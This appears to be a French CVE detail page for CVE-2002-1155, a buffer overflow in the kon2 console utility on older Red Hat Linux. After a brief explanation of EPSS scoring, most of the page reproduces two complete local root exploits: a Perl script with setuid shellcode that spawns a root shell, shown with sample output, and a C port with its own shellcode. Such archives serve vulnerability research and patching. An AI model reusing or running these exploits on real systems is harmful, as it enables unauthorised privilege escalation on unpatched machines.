CVE-2002-1155 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/7790/info A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system. The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility. #!/usr/bin/perl #################################################################################### #Priv8security.com kon2 version 0.3.9b-16 and < local root exploit. # # Tested on Redhat 8.0. should work on 9.0 and 7.3 # Bug happens on -Coding arg. # Based on Redhat Advisory. # # [wsxz@localhost buffer]$ perl priv8kon.pl # -=[ Priv8security.com kon local root exploit ]=- # usage: priv8kon.pl offset # [+] Using ret shellcode 0xbfffffc6 # Kanji ON Console ver.0.3.9 (2000/04/09) # # KON> video type 'VGA' selected # KON> hardware scroll mode. # sh-2.05b# id # uid=0(root) gid=0(root) groups=500(wsxz) #################################################################################### $shellcode = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0 "\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69". "\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; $path = "/usr/bin/kon"; $ret = 0xbffffffa - length($shellcode) - length($path); $offset = $ARGV[0]; print "-=[ Priv8security.com kon2 local root exploit ]=-\n"; print "usage: $0 offset\n"; printf("[+] Using ret shellcode 0x%x\n",$ret + $offset); $new_retword = pack('l', ($ret + $offset)); $buffer2 = "A" x 796; $buffer2 .= $new_retword; $buffer = $shellcode; local($ENV{'WSXZ'}) = $buffer; exec("$path -Coding $buffer2");

// source: https://www.securityfocus.com/bid/7790/info A buffer overflow vulnerability has been reported for the kon2 utility shipped with various Linux distributions. Exploitation of this vulnerability may result in a local attacker obtaining elevated privileges on a vulnerable system. The vulnerability exists due to insufficient bounds checking performed on some commandline options passed to the vulnerable utility. /* * Buffer overflow in /usr/bin/kon v0.3.9b for RedHat 9.0 * * http://www.mail-archive.com/bugtraq@securityfocus.com/msg11681.html * * The original bug was found by wszx for RedHat 8.0 - Ported to C * * Compile: gcc -Wall kon2root kon2root.c * */ #include <stdio.h> #include <string.h> #include <unistd.h> #define NOP 0x90 #define RET 0xbffffffa #define VULN "/usr/bin/kon" #define MAXBUF 800 static char w00tI4r3l33t[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07 \x89" "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56 \x0c" "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8 \xdc\xff" "\xff\xff/bin/id"; int main() { int i, *egg; long retaddr; static char buff[MAXBUF]; static char *sploit[0x02] = { w00tI4r3l33t, NULL }; fprintf (stdout, "\n\n\n[ PoC code for local root exploit in %s ] \n", VULN); fprintf (stdout, "[ Coded by c0ntex - http://62.31.72.168 ]\n"); fprintf (stdout, "[ For Linux RedHat v9 x86 - Ret_Addr 0xbffffffa ]\n\n\n\n"); if((retaddr = 0xbffffffa - strlen(w00tI4r3l33t) - strlen(VULN)) ! = 0x00) { egg = (int *)(buff); } for(i = 0x00; i < MAXBUF; i += 0x04) *(egg)++ = retaddr; *(egg) = NOP; execle(VULN, VULN, "-Coding", buff, NULL, sploit); return(0x00); }